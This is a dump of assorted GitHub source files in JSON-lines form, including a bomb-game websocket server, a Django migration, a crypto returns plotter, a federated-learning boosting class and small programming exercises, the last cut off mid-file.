WrapperQDialog(DataUpdateUi(context))\n dlg.exec()\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n\ndef exception_hook(type, value, tback):\n # log the exception here\n print('Exception hook triggered.')\n print(type)\n print(value)\n print(tback)\n # then call the default handler\n sys.__excepthook__(type, value, tback)\n\n\nsys.excepthook = exception_hook\n\n\nif __name__ == \"__main__\":\n try:\n main()\n except Exception as e:\n print('Error =>', e)\n print('Error =>', traceback.format_exc())\n exit()\n finally:\n pass\n\n","repo_name":"SleepySoft/StockAnalysisSystem","sub_path":"StockAnalysisSystem/ui/data_update_ui.py","file_name":"data_update_ui.py","file_ext":"py","file_size_in_byte":30763,"program_lang":"python","lang":"en","doc_type":"code","stars":138,"dataset":"github-code","pt":"29"} +{"seq_id":"40672356709","text":"from __future__ import annotations\n\nimport json\nfrom asyncio import wait_for, TimeoutError as AsyncTimeoutError\nfrom logging import getLogger\nfrom typing import Optional, Any, Mapping, ClassVar, TYPE_CHECKING, Union\n\nfrom websockets import WebSocketServerProtocol\n\nfrom bombgame.bomb.state import BombState\nfrom bombgame.config import WEB_WS_PORT, WEB_PASSWORD, WEB_LOGIN_TIMEOUT\nfrom bombgame.events import BombError, BombModuleAdded, BombStateChanged, ModuleStateChanged, BombChanged\nfrom bombgame.modules.base import Module\nfrom bombgame.utils import EventSource, Registry, Ungettable\nfrom bombgame.websocket import (SingleClientWebSocketServer, InvalidMessage, close_client_invalid_message)\n\nif TYPE_CHECKING:\n from bombgame.controller import BombGameController\n\nMESSAGE_TYPE_REGISTRY = Registry(\"message_type\")\n\nLOGGER = getLogger(\"WebUI\")\n\n# compared against the string sent by the client to identify outdated (cached) UI JS\nWEB_UI_VERSION = \"0.1-a1\"\n\n\nclass WebInterfaceMessage:\n message_type: ClassVar[str] = Ungettable\n fields: ClassVar[Mapping[str, Any]] = Ungettable\n receivable: ClassVar[bool] = False\n\n @staticmethod\n def parse(data: str) -> \"WebInterfaceMessage\":\n try:\n json_data = json.loads(data)\n except json.JSONDecodeError:\n raise InvalidMessage(\"invalid JSON message\") from None\n if not isinstance(json_data, dict):\n raise InvalidMessage(\"invalid JSON message\") from None\n try:\n message_type = json_data[\"type\"]\n message_class = MESSAGE_TYPE_REGISTRY[message_type]\n except KeyError:\n raise InvalidMessage(\"invalid message type\")\n if not message_class.receivable:\n raise InvalidMessage(\"invalid message type\")\n values = {}\n for field, types in message_class.fields.items():\n try:\n value = json_data[field]\n except KeyError:\n raise InvalidMessage(f\"missing value for {field}\")\n if not isinstance(value, types):\n raise InvalidMessage(f\"invalid value for {field}\")\n values[field] = value\n return message_class(**values)\n\n def serialize(self) -> str:\n return json.dumps({\n \"type\": self.__class__.message_type,\n **{field: getattr(self, field) for field in self.__class__.fields}\n })\n\n\n@MESSAGE_TYPE_REGISTRY.register\nclass LoginMessage(WebInterfaceMessage):\n message_type = \"login\"\n fields = {\"ui_version\": str, \"password\": (str, type(None))}\n receivable = True\n\n def __init__(self, *, ui_version: int, password: Optional[str]):\n super().__init__()\n self.ui_version = ui_version\n self.type = password\n\n\n@MESSAGE_TYPE_REGISTRY.register\nclass ResetMessage(WebInterfaceMessage):\n message_type = \"reset\"\n fields = {}\n receivable = True\n\n\n@MESSAGE_TYPE_REGISTRY.register\nclass StartGameMessage(WebInterfaceMessage):\n message_type = \"start_game\"\n fields = {}\n receivable = True\n\n\n@MESSAGE_TYPE_REGISTRY.register\nclass StartTimerMessage(WebInterfaceMessage):\n message_type = \"start_timer\"\n fields = {}\n receivable = True\n\n\n@MESSAGE_TYPE_REGISTRY.register\nclass PauseGameMessage(WebInterfaceMessage):\n message_type = \"pause_game\"\n fields = {}\n receivable = True\n\n\n@MESSAGE_TYPE_REGISTRY.register\nclass UnpauseGameMessage(WebInterfaceMessage):\n message_type = \"unpause_game\"\n fields = {}\n receivable = True\n\n\n@MESSAGE_TYPE_REGISTRY.register\nclass BombInfoMessage(WebInterfaceMessage):\n message_type = \"bomb\"\n fields = {\"serial_number\": str, \"widgets\": list}\n\n def __init__(self, serial_number: str, widgets: list):\n super().__init__()\n self.serial_number = serial_number\n self.widgets = widgets\n\n\n@MESSAGE_TYPE_REGISTRY.register\nclass StateMessage(WebInterfaceMessage):\n message_type = \"state\"\n fields = {\"state\": str}\n\n def __init__(self, state: str):\n super().__init__()\n self.state = state\n\n\n@MESSAGE_TYPE_REGISTRY.register\nclass AddModuleMessage(WebInterfaceMessage):\n message_type = \"add_module\"\n fields = {\"location\": int, \"module_type\": int, \"serial\": int, \"state\": str, \"error_level\": str, \"details\": (dict, type(None))}\n\n def __init__(self, *, location: int, module_type: int, serial: int, state: str, error_level: str, details: Optional[Mapping[str, Any]]):\n super().__init__()\n self.location = location\n self.module_type = module_type\n self.serial = serial\n self.state = state\n self.error_level = error_level\n self.details = details\n\n\n@MESSAGE_TYPE_REGISTRY.register\nclass UpdateModuleMessage(WebInterfaceMessage):\n message_type = \"update_module\"\n fields = {\"location\": int, \"state\": str, \"details\": dict}\n\n def __init__(self, *, location: int, state: str, details: Mapping[str, Any]):\n super().__init__()\n self.location = location\n self.state = state\n self.details = details\n\n\n@MESSAGE_TYPE_REGISTRY.register\nclass ConfigMessage(WebInterfaceMessage):\n message_type = \"config\"\n fields = {\"config\": dict}\n receivable = True\n\n def __init__(self, config: Mapping[str, Any]):\n super().__init__()\n self.config = config\n\n\n@MESSAGE_TYPE_REGISTRY.register\nclass ErrorMessage(WebInterfaceMessage):\n message_type = \"error\"\n fields = {\"level\": str, \"module\": (int, type(None)), \"message\": str}\n\n def __init__(self, level: str, module: Optional[int], message: str):\n super().__init__()\n self.level = level\n self.module = module\n self.message = message\n\n\nasync def _parse_message_from_client(client: WebSocketServerProtocol, data: Union[str, bytes]):\n try:\n if not isinstance(data, str):\n raise InvalidMessage(\"only text messages are valid\")\n return WebInterfaceMessage.parse(data)\n except InvalidMessage as error:\n await close_client_invalid_message(client, error.reason)\n\n\nclass WebInterface(EventSource, SingleClientWebSocketServer):\n _controller: BombGameController\n\n def __init__(self, controller: BombGameController):\n EventSource.__init__(self)\n SingleClientWebSocketServer.__init__(self)\n self._controller = controller\n controller.add_listener(BombChanged, self._bomb_changed)\n\n async def _send(self, message: WebInterfaceMessage, client: Optional[WebSocketServerProtocol] = None):\n await self._send_to_client(message.serialize(), client)\n\n async def _new_client_connected(self, client: WebSocketServerProtocol):\n try:\n data = await wait_for(client.recv(), WEB_LOGIN_TIMEOUT)\n handshake = await _parse_message_from_client(client, data)\n except AsyncTimeoutError:\n handshake = None\n\n if not isinstance(handshake, LoginMessage):\n await close_client_invalid_message(client, \"must send login message upon connecting\")\n if handshake.ui_version != WEB_UI_VERSION:\n await close_client_invalid_message(client, \"web ui version mismatch\", 4001)\n if WEB_PASSWORD is not None:\n if handshake.password is None:\n await close_client_invalid_message(client, \"password is required\", 4003)\n if handshake.password != WEB_PASSWORD:\n await close_client_invalid_message(client, \"password is incorrect\", 4003)\n\n # TODO send current state\n await self._send(ConfigMessage({}), client)\n await self._send(BombInfoMessage(*self._controller.bomb.edgework.serialize()), client)\n for module in self._controller.bomb.modules:\n await self._send_module(module, client)\n await self._send(StateMessage(self._controller.bomb._state.name), client)\n\n async def _bomb_changed(self, event: BombChanged):\n await self._send(ResetMessage())\n await self._send(BombInfoMessage(*event.bomb.edgework.serialize()))\n event.bomb.add_listener(BombModuleAdded, self._handle_module_add)\n event.bomb.add_listener(BombStateChanged, self._handle_bomb_state)\n event.bomb.add_listener(ModuleStateChanged, self._handle_module_update)\n event.bomb.add_listener(BombError, self._log_bomb_error)\n\n async def _handle_message(self, client: WebSocketServerProtocol, data: Union[str, bytes]):\n message = await _parse_message_from_client(client, data)\n if isinstance(message, ResetMessage):\n self._controller.reset()\n elif isinstance(message, ConfigMessage):\n # TODO\n await close_client_invalid_message(client, \"config not implemented\")\n elif isinstance(message, StartGameMessage):\n self._controller.bomb.start_game()\n elif isinstance(message, StartTimerMessage):\n self._controller.bomb.start_timer()\n else:\n await close_client_invalid_message(client, \"invalid message type\")\n\n async def _send_module(self, module: Module, client: Optional[WebSocketServerProtocol] = None):\n await self._send(AddModuleMessage(\n location=module.location,\n module_type=module.bus_id.type,\n serial=module.bus_id.serial,\n state=module.state.name,\n error_level=module.error_level.name,\n details=module.ui_state()\n ), client)\n\n async def _log_bomb_error(self, error: BombError):\n await self._send(ErrorMessage(error.level.name, error.location, error.details))\n\n async def _handle_bomb_state(self, event: BombStateChanged):\n if event.state != BombState.DEINITIALIZED:\n await self._send(StateMessage(event.state.name))\n\n async def _handle_module_add(self, event: BombModuleAdded):\n await self._send_module(event.module)\n\n async def _handle_module_update(self, event: ModuleStateChanged):\n await self._send(UpdateModuleMessage(\n location=event.module.location,\n state=event.module.state.name,\n details=event.module.ui_state()\n ))\n\n async def start(self):\n LOGGER.info(\"Starting Web UI\")\n await self.start_server(WEB_WS_PORT)\n\n async def stop(self):\n LOGGER.info(\"Stopping Web UI\")\n await self.stop_server()\n\n\nasync def initialize_web_ui(controller: BombGameController) -> WebInterface:\n web_ui = WebInterface(controller)\n await web_ui.start()\n return web_ui\n","repo_name":"PurkkaKoodari/ktane-hw","sub_path":"maincontroller/bombgame/web/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":10395,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"19310340414","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('bcjp', '0007_auto_20150922_0058'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='AdminBitcoinBet',\n fields=[\n ('bitcoin_bet', models.OneToOneField(primary_key=True, serialize=False, to='bcjp.BitcoinBet')),\n ('created_on', models.DateTimeField(auto_now_add=True)),\n ],\n options={\n 'db_table': 'admin_bitcoin_bet',\n },\n ),\n migrations.AlterField(\n model_name='adminoverride',\n name='uuid',\n field=models.CharField(default=b'823012c3-acd1-4f25-80b1-b01d79efe8a2', max_length=36, serialize=False, primary_key=True),\n ),\n migrations.AlterField(\n model_name='bitcoinaddresssession',\n name='alias',\n field=models.CharField(default=b'irreverently', max_length=255),\n ),\n migrations.AlterField(\n model_name='rounds',\n name='winning_percent',\n field=models.FloatField(default=23.230368026476867),\n ),\n ]\n","repo_name":"strattonw/BitcoinJackpot","sub_path":"bcjp/migrations/0008_auto_20150922_0126.py","file_name":"0008_auto_20150922_0126.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"29"} +{"seq_id":"21274621522","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nEstimate market value across n days by calculating the cumulative percent change \nfor every crypto\n@author: brianszekely\n\"\"\"\nimport matplotlib.pyplot as plt\nimport os\nfrom pandas import DataFrame, read_csv\nimport yfinance as yf\nfrom timeit import default_timer\nfrom numpy import nanmedian, zeros, log, array, nan, arange\nfrom tqdm import tqdm\nfrom sklearn.linear_model import LinearRegression\nSET_PERIOD = 365\ndef set_crypt_names():\n location = os.getcwd()\n df = read_csv(os.path.join(location,'crypto_trade_min.csv'))\n df.sort_values(by=['crypto'],inplace=True)\n return df['crypto']\ndef set_data(crypt):\n # crypt_name = sys.argv[1] + '-USD'\n crypt_name = crypt + '-USD'\n temp = yf.Ticker(crypt_name)\n history = temp.history(period = 'max', interval=\"1d\")\n # data = yf.download(tickers=crypt_name, period = 'max', interval = '1d') #columns = Index(['Open', 'High', 'Low', 'Close', 'Adj Close', 'Volume']\n return history\ndef percent_change(main_df,history,crypto,crypt_count):\n if len(history) >= SET_PERIOD:\n # temp = log(inst_data['Close']/inst_data['Close'].shift(1))\n # inst_data['log_return_sum'] = temp.cumsum()\n # temp_per_change = history[-SET_PERIOD:].pct_change()\n temp = log(history['Close']/history['Close'].shift(1))\n colum_title = f'{crypto}'\n main_df[colum_title] = temp[-SET_PERIOD:].cumsum()\n crypt_count+=1\n return main_df,crypt_count\n else:\n return main_df,crypt_count\ndef plot_all(main_df,crypt_count):\n rolling_mean = zeros(len(main_df))\n for i in range(len(main_df)):\n rolling_mean[i] = nanmedian(main_df.iloc[i])\n #calc linear regress\n a_list = list(arange(0,len(rolling_mean)))\n X1 = array(a_list)\n X = X1.reshape(-1, 1)\n reg = LinearRegression().fit(X, rolling_mean) #maybe change this to X, main_df.dropna(axis=1)\n reg_arr = zeros(len(rolling_mean))\n for i in X1:\n reg_arr[i] = (reg.coef_ * i) + reg.intercept_\n reg_arr = [nan if x == 0 else x for x in reg_arr]\n plt.figure(figsize=(15, 10))\n for crypt in main_df.columns:\n if main_df[crypt].isna().sum() < 3:\n plt.plot(main_df[crypt],'tab:gray')\n plt.annotate(xy=(main_df[crypt].index[-1],main_df[crypt].iloc[-1]),\n xytext=(5,0),\n textcoords='offset points', \n text=crypt, va='center',fontsize=8)\n plt.plot(main_df.index,rolling_mean,linewidth=3,color='blue',label='median')\n plt.plot(main_df.index,reg_arr,linewidth=3,color='red',label='linear regression')\n # lower = nanmean(rolling_mean) - (nanmean(rolling_mean) * 13)\n # upper = abs(nanmean(rolling_mean) + (nanmean(rolling_mean) * 13))\n # q3, q1 = percentile(rolling_mean, [75 ,25])\n # print(abs(q3)*5)\n # print(q1*5)\n # plt.ylim([lower,upper])\n set_title = f'Cumulative log returns across {SET_PERIOD} days on {crypt_count} cryptos, linearCoeff {round(reg.coef_[0],4)}'\n plt.title(set_title,fontweight='bold')\n plt.xlabel('TIME')\n plt.ylabel('Cumulative Log Returns')\n plt.legend()\n direct = os.getcwd()\n name = 'full_market_trend.png'\n direct = os.getcwd()\n check_folder = os.path.join(direct)\n if os.path.exists(check_folder):\n final_dir = os.path.join(check_folder, name)\n else:\n os.mkdir(check_folder)\n final_dir = os.path.join(check_folder, name)\n plt.tight_layout()\n plt.savefig(final_dir,dpi=350)\n plt.close()\ndef main():\n start = default_timer()\n main_df = DataFrame()\n names_crypt = set_crypt_names()\n crypt_count = 0\n for crypt in tqdm(names_crypt):\n print(crypt)\n data = set_data(crypt)\n main_df,crypt_count = percent_change(main_df,data,crypt,crypt_count)\n plot_all(main_df,crypt_count)\nif __name__ == \"__main__\":\n main()","repo_name":"praveen686/cryptoML","sub_path":"market_value_estimator.py","file_name":"market_value_estimator.py","file_ext":"py","file_size_in_byte":3892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35515051127","text":"from federatedml.feature.binning.quantile_binning import QuantileBinning\nfrom federatedml.tree import HeteroDecisionTreeHost\nfrom federatedml.param.feature_binning_param import FeatureBinningParam\nfrom federatedml.tree import BoostingTree\nfrom federatedml.util.transfer_variable.hetero_secure_boost_transfer_variable import HeteroSecureBoostingTreeTransferVariable\nfrom federatedml.util import consts\nfrom arch.api.proto.boosting_tree_model_meta_pb2 import QuantileMeta\nfrom arch.api.proto.boosting_tree_model_meta_pb2 import BoostingTreeModelMeta\nfrom arch.api.proto.boosting_tree_model_param_pb2 import BoostingTreeModelParam\nfrom numpy import random\nfrom arch.api import federation\nfrom arch.api.utils import log_utils\n\nLOGGER = log_utils.getLogger()\n\n\nclass HeteroSecureBoostingTreeHost(BoostingTree):\n def __init__(self):\n super(HeteroSecureBoostingTreeHost, self).__init__()\n\n self.transfer_inst = HeteroSecureBoostingTreeTransferVariable()\n self.tree_dim = None\n self.feature_num = None\n self.trees_ = []\n self.tree_meta = None\n self.bin_split_points = None\n self.bin_sparse_points = None\n self.data_bin = None\n self.runtime_idx = 0\n self.role = consts.HOST\n\n def convert_feature_to_bin(self, data_instance):\n LOGGER.info(\"convert feature to bins\")\n param_obj = FeatureBinningParam(bin_num=self.bin_num)\n binning_obj = QuantileBinning(param_obj)\n binning_obj.fit_split_points(data_instance)\n self.data_bin, self.bin_split_points, self.bin_sparse_points = binning_obj.convert_feature_to_bin(data_instance)\n\n def sample_valid_features(self):\n LOGGER.info(\"sample valid features\")\n if self.feature_num is None:\n self.feature_num = self.bin_split_points.shape[0]\n\n choose_feature = random.choice(range(0, self.feature_num), \\\n max(1, int(self.subsample_feature_rate * self.feature_num)), replace=False)\n\n valid_features = [False for i in range(self.feature_num)]\n for fid in choose_feature:\n valid_features[fid] = True\n return valid_features\n\n def set_runtime_idx(self, runtime_idx):\n self.runtime_idx = runtime_idx\n\n def generate_flowid(self, round_num, tree_num):\n LOGGER.info(\"generate flowid, flowid {}\".format(self.flowid))\n return \".\".join(map(str, [self.flowid, round_num, tree_num]))\n\n def sync_tree_dim(self):\n LOGGER.info(\"sync tree dim from guest\")\n self.tree_dim = federation.get(name=self.transfer_inst.tree_dim.name,\n tag=self.transfer_inst.generate_transferid(self.transfer_inst.tree_dim),\n idx=0)\n LOGGER.info(\"tree dim is %d\" % (self.tree_dim))\n\n def sync_stop_flag(self, num_round):\n LOGGER.info(\"sync stop flag from guest, boosting round is {}\".format(num_round))\n stop_flag = federation.get(name=self.transfer_inst.stop_flag.name,\n tag=self.transfer_inst.generate_transferid(self.transfer_inst.stop_flag, num_round),\n idx=0)\n\n return stop_flag\n\n def fit(self, data_inst):\n LOGGER.info(\"begin to train secureboosting guest model\")\n self.gen_feature_fid_mapping(data_inst.schema)\n LOGGER.debug(\"schema is {}\".format(data_inst.schema))\n data_inst = self.data_alignment(data_inst)\n self.convert_feature_to_bin(data_inst)\n self.sync_tree_dim()\n\n for i in range(self.num_trees):\n for tidx in range(self.tree_dim):\n tree_inst = HeteroDecisionTreeHost(self.tree_param)\n\n tree_inst.set_inputinfo(data_bin=self.data_bin, bin_split_points=self.bin_split_points,\n bin_sparse_points=self.bin_sparse_points)\n\n valid_features = self.sample_valid_features()\n tree_inst.set_flowid(self.generate_flowid(i, tidx))\n tree_inst.set_runtime_idx(self.runtime_idx)\n tree_inst.set_valid_features(valid_features)\n\n tree_inst.fit()\n tree_meta, tree_param = tree_inst.get_model()\n self.trees_.append(tree_param)\n if self.tree_meta is None:\n self.tree_meta = tree_meta\n\n\n if self.n_iter_no_change is True:\n stop_flag = self.sync_stop_flag(i)\n if stop_flag:\n break\n\n LOGGER.info(\"end to train secureboosting guest model\")\n\n def predict(self, data_inst, predict_param=None):\n LOGGER.info(\"start predict\")\n data_inst = self.data_alignment(data_inst)\n rounds = len(self.trees_) // self.tree_dim\n for i in range(rounds):\n for tidx in range(self.tree_dim):\n tree_inst = HeteroDecisionTreeHost(self.tree_param)\n tree_inst.load_model(self.tree_meta, self.trees_[i * self.tree_dim + tidx])\n tree_inst.set_flowid(self.generate_flowid(i, tidx))\n tree_inst.set_runtime_idx(self.runtime_idx)\n\n tree_inst.predict(data_inst)\n\n LOGGER.info(\"end predict\")\n\n def get_model_meta(self):\n model_meta = BoostingTreeModelMeta()\n model_meta.tree_meta.CopyFrom(self.tree_meta)\n model_meta.num_trees = self.num_trees\n model_meta.quantile_meta.CopyFrom(QuantileMeta(bin_num=self.bin_num))\n model_meta.tree_dim = self.tree_dim\n model_meta.need_run = self.need_run \n\n meta_name = \"HeteroSecureBoostingTreeHostMeta\"\n\n return meta_name, model_meta\n\n def set_model_meta(self, model_meta):\n self.tree_meta = model_meta.tree_meta\n self.num_trees = model_meta.num_trees\n self.bin_num = model_meta.quantile_meta.bin_num\n self.tree_dim = model_meta.tree_dim\n\n def get_model_param(self):\n model_param = BoostingTreeModelParam()\n model_param.tree_num = len(list(self.trees_))\n model_param.trees_.extend(self.trees_)\n model_param.feature_name_fid_mapping.update(self.feature_name_fid_mapping)\n\n param_name = \"HeteroSecureBoostingTreeHostParam\"\n\n return param_name, model_param\n\n def set_model_param(self, model_param):\n self.trees_ = list(model_param.trees_)\n\n def export_model(self):\n meta_name, meta_protobuf = self.get_model_meta()\n param_name, param_protobuf = self.get_model_param()\n self.model_output = {meta_name: meta_protobuf,\n param_name: param_protobuf\n }\n\n return self.model_output\n\n def _load_model(self, model_dict):\n LOGGER.info(\"load model\")\n model_param = None\n model_meta = None\n for _, value in model_dict[\"model\"].items():\n for model in value:\n if model.endswith(\"Meta\"):\n model_meta = value[model]\n if model.endswith(\"Param\"):\n model_param = value[model]\n\n self.set_model_meta(model_meta)\n self.set_model_param(model_param)\n\n def run(self, component_parameters=None, args=None):\n local_role = component_parameters[\"local\"][\"role\"]\n local_partyid = component_parameters[\"local\"][\"party_id\"]\n runtime_idx = component_parameters[\"role\"][local_role].index(local_partyid)\n self.set_runtime_idx(runtime_idx)\n \n self._init_runtime_parameters(component_parameters)\n LOGGER.debug(\"component_parameter: {}\".format(component_parameters))\n\n LOGGER.debug('need_cv : {}'.format(self.need_cv))\n if self.need_cv:\n stage = 'cross_validation'\n elif \"model\" in args:\n self._load_model(args)\n stage = \"transform\"\n else:\n stage = \"fit\"\n\n if args.get(\"data\", None) is None:\n return\n\n self._run_data(args[\"data\"], stage)\n\n\n","repo_name":"pangzx1/FATE1.0","sub_path":"federatedml/tree/hetero_secureboosting_tree_host.py","file_name":"hetero_secureboosting_tree_host.py","file_ext":"py","file_size_in_byte":7983,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"41526698097","text":"#!/bin/python3\n\ndef encrypt(c: str, k: int) -> str:\n n_alphabet = ord('z') - ord('a') + 1\n new_k = k % 26\n if c.isupper():\n shifted = ord(c) + new_k\n return chr(shifted) if shifted <= ord('Z') else chr(shifted - n_alphabet)\n elif c.islower():\n shifted = ord(c) + new_k\n return chr(shifted) if shifted <= ord('z') else chr(shifted - n_alphabet)\n else:\n return c\n\ndef caesarCipher(s, k):\n answer = \"\"\n for i in range(0, len(s)):\n answer += encrypt(s[i], k)\n return answer\n\n\nif __name__ == '__main__':\n a = caesarCipher(\"There's-a-starman-waiting-in-the-sky\", 3)\n print(a)","repo_name":"herojulie/leetcode","sub_path":"HankeRank/ceaser-cipher.py","file_name":"ceaser-cipher.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20232655496","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis script uses the CircleApprox class from CircleApprox.py to produce\napproximations of geographical areas using overlapping circles.\n\n@author: Joe Wozniczka-Wells\n\"\"\"\n\n# GEOCODING: approximating UTLAs of the Midlands using circles\n\nfrom os import chdir, getcwd\n\n# Set file path\nfilepath = (\"C:\\\\Users\\\\joew\\\\Documents\\\\Apprenticeship\\\\UoB\\\\SPFINDP21T4\")\nchdir(filepath)\n\nfrom INDP.Code import CircleApprox\nclass_ca = CircleApprox.CircleApprox()\n\nimport geopandas as gpd\nimport numpy as np\nfrom shapely.geometry import Point, Polygon\nfrom shapely.ops import cascaded_union\nimport pandas as pd\nimport folium\nimport geopy\nimport geopy.distance\nfrom random import randrange\nimport random\nimport requests\nimport os\n\n# Create folders in which to save maps and circle details\ngeo_folder = '{0}/INDP/Geo'.format(filepath)\nmap_folder = '{0}/INDP/Geo/Maps'.format(filepath)\n\nif not os.path.exists(geo_folder):\n os.makedirs(geo_folder)\nif not os.path.exists(map_folder):\n os.makedirs(map_folder)\n \n# Download polygons from https://geoportal.statistics.gov.uk/\ngeojson_url = (\"https://opendata.arcgis.com/datasets/\"\n \"244b257482da4778995cf11ff99e9997_0.geojson\")\nres = requests.get(geojson_url)\nutla_polygons = gpd.GeoDataFrame.from_features(res.json()).set_crs(\"epsg:4326\")\n\n# Set seed for random numbers\nrandom.seed(123)\n\n# List of Midlands UTLAs\nmids_utlas = ['Derby','Leicester','Rutland','Nottingham',\n 'Herefordshire, County of','Telford and Wrekin','Stoke-on-Trent',\n 'Shropshire','North Northamptonshire','West Northamptonshire',\n 'Birmingham','Coventry','Dudley','Sandwell','Solihull','Walsall',\n 'Wolverhampton','Derbyshire','Leicestershire','Lincolnshire',\n 'Nottinghamshire','Staffordshire','Warwickshire','Worcestershire'\n ]\n\n# Min area of target UTLA that must be covered by circle-based approximation\nmin_utla_perc_tot = 90\n# Min amount of circle-based approximation that must be in target UTLA\nmin_circle_perc_tot = 95\n\n#%% Circle-based approximation of Midlands UTLAs\n# Create circle-based approximations for all Midlands UTLAs\ndf_utlas = class_ca.areas_circles(mids_utlas,1,utla_polygons,\"CTYUA21NM\",\n \"geometry\",min_utla_perc_tot,\n min_circle_perc_tot,map_folder)\n\n# Save circle details to csv\ndf_utlas.to_csv(\"{0}/df_utlas_{1}_{2}.csv\".format(geo_folder,min_utla_perc_tot,\n min_circle_perc_tot))\n\n#%% Circle-based approximation of England\n\n# Use England polygon\ngeojson_url = (\"https://opendata.arcgis.com/datasets/\"\n \"cf156624007344f2a4a067fe7711c0ee_0.geojson\")\nres = requests.get(geojson_url)\nctry_polygons = gpd.GeoDataFrame.from_features(res.json()).set_crs(\"epsg:4326\")\n\n# Combine all UTLAs to get UK polygon\ndf = ctry_polygons\nvar = 'CTRY20NM'\n\ngdfd = ctry_polygons.loc[ctry_polygons['CTRY20NM']=='England'].copy()\n\n# Extract shapely polygon of England\neng_poly = class_ca.extract_area_poly(gdfd['geometry'],gdfd)\n\n## Approximate England with circles\nlat = gdfd.LAT\nlong = gdfd.LONG\narea = 'England'\ndf_area = pd.DataFrame(columns = ['area','lat','long','radius'])\nradius_increment = 10\nmin_area_perc_tot = 90\nn_bad = 0\n\n# Draw map of England\nclass_ca.map_poly(eng_poly,lat,long,area)\n\n# Draw initial circle\ninitial_poly, df_area, area_perc_tot, circle_perc_tot = (class_ca.\n initial_circle(\n lat,long,eng_poly,area,df_area,radius_increment,min_circle_perc_tot)\n )\n\n# Draw subsequent circles\ndf_area, all_poly = class_ca.fill_area_with_circles(area_perc_tot,\n circle_perc_tot,\n min_area_perc_tot,\n radius_increment,n_bad,50,\n initial_poly,eng_poly,\n area,df_area,\n min_circle_perc_tot)\n\n# Map circle-based approximation\nclass_ca.map_poly(all_poly,lat,long,area)\n\n# Save circle details to csv\ndf_area.to_csv(\"{0}/df_eng_{1}_{2}.csv\".format(geo_folder,min_area_perc_tot,\n min_circle_perc_tot))\n","repo_name":"JoeWozza/INDP","sub_path":"Code/01_circles.py","file_name":"01_circles.py","file_ext":"py","file_size_in_byte":4373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26891145246","text":"\"\"\"\r\n문제\r\nN×N개의 수가 N×N 크기의 표에 채워져 있다. (x1, y1)부터 (x2, y2)까지 합을 구하는 프로그램을 작성하시오. (x, y)는 x행 y열을 의미한다.\r\n\r\n예를 들어, N = 4이고, 표가 아래와 같이 채워져 있는 경우를 살펴보자.\r\n\r\n1\t2\t3\t4\r\n2\t3\t4\t5\r\n3\t4\t5\t6\r\n4\t5\t6\t7\r\n여기서 (2, 2)부터 (3, 4)까지 합을 구하면 3+4+5+4+5+6 = 27이고, (4, 4)부터 (4, 4)까지 합을 구하면 7이다.\r\n\r\n표에 채워져 있는 수와 합을 구하는 연산이 주어졌을 때, 이를 처리하는 프로그램을 작성하시오.\r\n\r\n입력\r\n첫째 줄에 표의 크기 N과 합을 구해야 하는 횟수 M이 주어진다. (1 ≤ N ≤ 1024, 1 ≤ M ≤ 100,000) \r\n둘째 줄부터 N개의 줄에는 표에 채워져 있는 수가 1행부터 차례대로 주어진다. \r\n다음 M개의 줄에는 네 개의 정수 x1, y1, x2, y2 가 주어지며, (x1, y1)부터 (x2, y2)의 합을 구해 출력해야 한다. \r\n표에 채워져 있는 수는 1,000보다 작거나 같은 자연수이다. (x1 ≤ x2, y1 ≤ y2)\r\n\r\n출력\r\n총 M줄에 걸쳐 (x1, y1)부터 (x2, y2)까지 합을 구해 출력한다.\r\n======================================================================================================================================================\r\n누적합 matrix를 구하고 \r\n해당 dp 에서 어떻게 계산해야 원하는 구간의 합이 나오는지만 파악하면 쉽게 해결 가능하다.\r\n\"\"\"\r\nimport sys\r\ninput = sys.stdin.readline\r\ndef calc(dp):\r\n for i in range(1, n+1):\r\n for j in range(1, n+1):\r\n dp[i][j] = dp[i-1][j] + dp[i][j-1] - dp[i-1][j-1] + matrix[i][j]\r\n return dp\r\n\r\nn,m = map(int, input().split())\r\nmatrix = [list(map(int, input().split())) for _ in range(n)]\r\nmatrix = [[0]+m for m in matrix]\r\nmatrix = [[0]*(n+1)] + matrix\r\ndp = [[0] * (n+1) for _ in range(n+1)]\r\ndp = calc(dp)\r\nfor _ in range(m):\r\n x1,y1,x2,y2 = map(int,input().split())\r\n print(dp[x1-1][y1-1] + dp[x2][y2] - dp[x1-1][y2] - dp[x2][y1-1])\r\n ","repo_name":"JunHyxxn/BOJ","sub_path":"DP_Part1/Quiz_11660.py","file_name":"Quiz_11660.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"734620806","text":"#==== Imports ====#\nfrom modules.day_14.art import *\nimport random\nfrom modules.day_14.game_data import data\nfrom modules.clear import clear\n\n#==== Body ====#\nprint(logo)\ngame = True\nscore = 0\na = random.choice(data)\n\n#==== Function Definitions====#\ndef check(guess, count_1, count_2):\n \"\"\"\n Takes a guess and compares the followers count\n :param guess: User's guess\n :param count_1: Question A follower count\n :param count_2: Question B follower count\n :return: True or False\n \"\"\"\n\n if count_1 > count_2:\n return guess == \"A\"\n else:\n return guess == \"B\"\n\n\nwhile game:\n b = random.choice(data)\n if a == b:\n b = random.choice(data)\n\n print(f\"Compare A: {a['name']}, a {a['description']}, from {a['country']}\")\n print(vs)\n print(f\"Against B: {b['name']}, a {b['description']}, from {b['country']}\")\n\n user = input(\"Who has more followers? Type 'A' or 'B': \").upper()\n answer = check(user, a[\"follower_count\"], b[\"follower_count\"])\n clear()\n print(logo)\n\n if 